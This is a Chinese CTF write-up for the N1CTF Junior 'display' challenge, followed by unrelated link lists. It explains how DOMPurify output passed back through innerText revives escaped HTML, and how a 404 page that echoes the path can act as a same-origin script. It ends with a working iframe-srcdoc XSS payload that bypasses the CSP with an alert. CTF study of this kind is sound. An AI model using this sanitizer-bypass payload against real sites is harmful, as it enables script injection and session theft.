当前位置: 首页 > news >正文

CTF-WEB: 利用iframe标签利用xss,waf过滤后再转换漏洞-- N1ctf Junior display

核心逻辑

// 获取 URL 查询参数的值  
function getQueryParam(param) {  
    // 使用 URLSearchParams 从 URL 查询字符串中提取参数  
    const urlParams = new URLSearchParams(window.location.search);  
    // 返回查询参数的值  
    return urlParams.get(param);  
}  
  
// 使用 DOMPurify 对内容进行清理(sanitize),防止 XSS 攻击  
function sanitizeContent(text) {  
    // 只允许 <h1>, <h2> 标签和纯文本  
    const config = {  
        ALLOWED_TAGS: ['h1', 'h2']  // 配置允许的标签  
    };  
    // 返回清理后的内容,DOMPurify 会移除不允许的标签和潜在的危险内容  
    return DOMPurify.sanitize(text, config);  
}  
  
// 当 DOM 完全加载后执行的代码  
document.addEventListener("DOMContentLoaded", function() {  
    // 获取页面中输入框、按钮和内容显示区域的 DOM 元素  
    const textInput = document.getElementById('text-input');  
    const insertButton = document.getElementById('insert-btn');  
    const contentDisplay = document.getElementById('content-display');  
  
    // 获取 URL 查询参数中的 'text' 参数  
    const queryText = getQueryParam('text');  
  
    // 如果查询参数 'text' 存在  
    if (queryText) {  
        // 解码并清理传入的文本,atob 用于解码 base64,decodeURI 处理 URL 编码  
        const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));  
  
        // 如果清理后的文本不为空  
        if (sanitizedText.length > 0) {  
            // 将清理后的文本设置为输入框的内容(innerHTML 用于处理 HTML 标签)  
            textInput.innerHTML = sanitizedText;  
  
            // 将清理后的文本设置为预览区的显示内容  
            contentDisplay.innerHTML = textInput.innerText;  
  
            // 启用插入按钮  
            insertButton.disabled = false;  
        } else {  
            // 如果清理后的文本为空,显示警告信息  
            textInput.innerText = "Only allow h1, h2 tags and plain text";  
        }  
    }  
});

过滤后再转换,sanitizedText在经过.innerText时其中的HTML实体会被转换为字符串。

当访问不存在页面时会返回路径名,可以利用这一点来构造脚本执行

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none';
Content-Type: text/plain; charset=utf-8
Content-Length: 17
ETag: W/"11-GF1FwKuoyTpdz1qrL+FpsG3KmnU"
Date: Fri, 14 Feb 2025 07:59:03 GMT
Connection: keep-alive
Keep-Alive: timeout=5

/1 : invalid path

使用<iframe srcdoc=url>来在属性值中嵌入 HTML 内容,并在其中嵌套<script src=url>来绕过安全策略,使用**/// 闭合

<iframe srcdoc="<script src='**/alert(`xss`)//'></script>"></iframe>
  • 注意字符串包裹方式依次为 " ' `
  • 因为js支持使用反引号包裹字符串

参考

2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog

相关文章:

  • 基于Python flask-sqlalchemy的SQLServer数据库管理平台
  • [运输时间]
  • Microsoft Edge 浏览器调优
  • Redis 01 02章——入门概述与安装配置
  • Ansys Zemax | 使用衍射光学器件模拟增强现实 (AR) 系统的出瞳扩展器 (EPE):第 1 部分
  • 【第3章:卷积神经网络(CNN)——3.2卷积层、池化层、全连接层的详细介绍】
  • 字节跳动后端二面
  • 无人机常见的开源飞控项目
  • 机器视觉3D异形抓取难点
  • C++Primer学习(4.5 递增和递减运算符)
  • 从无序到有序:上北智信通过深度数据分析改善会议室资源配置
  • uniapp商城之登录模块
  • 计算机毕业设计Python+Vue.js游戏推荐系统 Steam游戏推荐系统 Django Flask 游 戏可视化 游戏数据分析 游戏大数据 爬虫
  • 如何在WPS和Word/Excel中直接使用DeepSeek功能
  • 自己部署 DeepSeek 助力 Vue 开发:打造丝滑的时间线(Timeline )
  • Windows逆向工程入门之汇编指令四则运算(ADD/SUB/DIV/MUL)
  • 代码随想录算法训练营day36(补0204)
  • Elastic Cloud Serverless 现已在 Microsoft Azure 上提供技术预览版
  • Kibana
  • 第一章嵌入式系统概论考点03嵌入式系统的分类
  • 学校网站建设介绍范文/seo推广和百度推广的区别
  • 农村电商运营的基本流程/泉州关键词优化报价
  • 京东网站的建设与发展/seosem是指什么意思
  • 常用网站推荐/今天微博热搜前十名
  • 网站排版教程/电脑培训学校网站
  • 做爰网站美女图片/业务员用什么软件找客户